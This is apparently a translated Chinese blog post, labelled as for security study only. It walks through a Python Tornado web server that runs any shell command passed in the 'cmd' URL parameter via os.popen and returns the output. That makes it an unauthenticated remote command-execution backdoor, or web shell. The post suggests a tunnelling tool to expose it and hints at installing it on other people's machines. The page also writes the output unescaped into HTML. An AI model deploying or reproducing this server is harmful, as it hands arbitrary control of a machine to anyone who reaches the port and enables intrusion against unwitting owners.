Python-Tornado builds a simple web server GET request to execute CMD remotely

Disclaimer: This article is only for the study and communication of network security. Any operation has nothing to do with the author.
Please abide by the laws and regulations of our country

1. Tools & Environment

  1. Python 3
  2. Peanut shells
  3. Remote calculator

2. Build a website

Use library: tornado, os

from tornado.web import Application,RequestHandler
from tornado.ioloop import IOLoop
from tornado.httpserver import HTTPServer
import os

#定义视图类
class mainHandler(RequestHandler):
    #重写方法
    def get(self):
        print("this is get")
        #get传参,无参数为空

        cmd = self.get_query_argument('cmd','')

        res = os.popen(cmd)
        resstr = res.read()

        htmlpagecode = '''<h1>Welcome!</h1>cmd:{}<div><textarea>{}</textarea></div> '''.format(cmd,resstr)

        self.write(htmlpagecode)
        res.close()

    def post(self):
        print("this is post")

#定义web应用
# page --> app --> server
def webApp():
    #指定根
    app = Application([('/',mainHandler),('/index.html',mainHandler)])
    return app

#定义一个入口
if __name__ == '__main__':
    webapp = webApp()
    server = HTTPServer(webapp)
    #绑定端口
    server.bind(8099)
    server.start()

    #轮询监听不可省略
    IOLoop.current().start()

Three, run screenshots

Insert picture description here

Be vigilant and do not install software from unknown sources

Finish

Welcome to leave a message in the comment area.
Thanks for browsing

Guess you like

Origin blog.csdn.net/Xxy605/article/details/107781138